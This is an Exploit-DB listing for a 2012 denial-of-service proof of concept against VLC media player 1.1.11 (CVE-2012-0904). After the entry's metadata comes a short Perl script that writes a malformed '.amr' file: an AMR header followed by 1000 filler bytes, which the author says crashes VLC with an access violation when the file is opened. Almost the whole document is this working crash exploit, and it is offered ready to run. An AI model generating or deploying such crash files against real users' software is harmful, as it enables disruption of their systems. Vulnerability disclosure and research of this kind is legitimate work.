VideoLAN VLC Media Player 1.1.11 - '.amr' Denial of Service (PoC)

Author: Fabi@habsec
type: dos
platform: windows
port: 
date_added: 2012-01-04 
date_updated: 2012-01-04 
verified: 1 
codes: OSVDB-78618;CVE-2012-0904 
tags: 
aliases:  
screenshot_url: http://www.exploit-db.com/screenshots/idlt18500/xp-nist-fdcc-q4-2009-2012-01-04-10-54-04.png 
application_url: http://www.exploit-db.comvlc-1.1.11-win32.exe

#!/usr/bin/perl
##
# Exploit Title: VLC media player v1.1.11 (.amr) Local Crash PoC
# Date: 04.01.2012
# Author: Fabi@habsec (hapsec@gmail.com)
# Software Link: http://sourceforge.net/projects/vlc/files/1.1.11/win32/vlc-1.1.11-win32.exe
# Version: 1.1.11
# Tested on: Windows 7 x86 English
#
# Description: Unhandled Access Violation Exception loading generated .amr file
#              - 1.1.10 not affected!
#
##
#
#
#
system("title VLC .amr crash PoC");
system("cls");
print "\n";
print " [*] Name : VLC media player v1.1.11 (Adaptive Multi-Rate)\n";
print " [*] Exploit : Local Crash PoC                            \n";
sleep(2);
print "\n";
my $amr_boof = "\x23\x21\x41\x4D\x52"; # Treat as AMR
$amr_boof .= "\x41"x1000; # j4f
open(file , ">", "b00f.amr");
print file $amr_boof;
print "  [+] File successfully created! Open in VLC or drag to playlist..\n" or die print "\n Wuups- Could not create File.. ";
close(file);
#
#Hannibal ante portas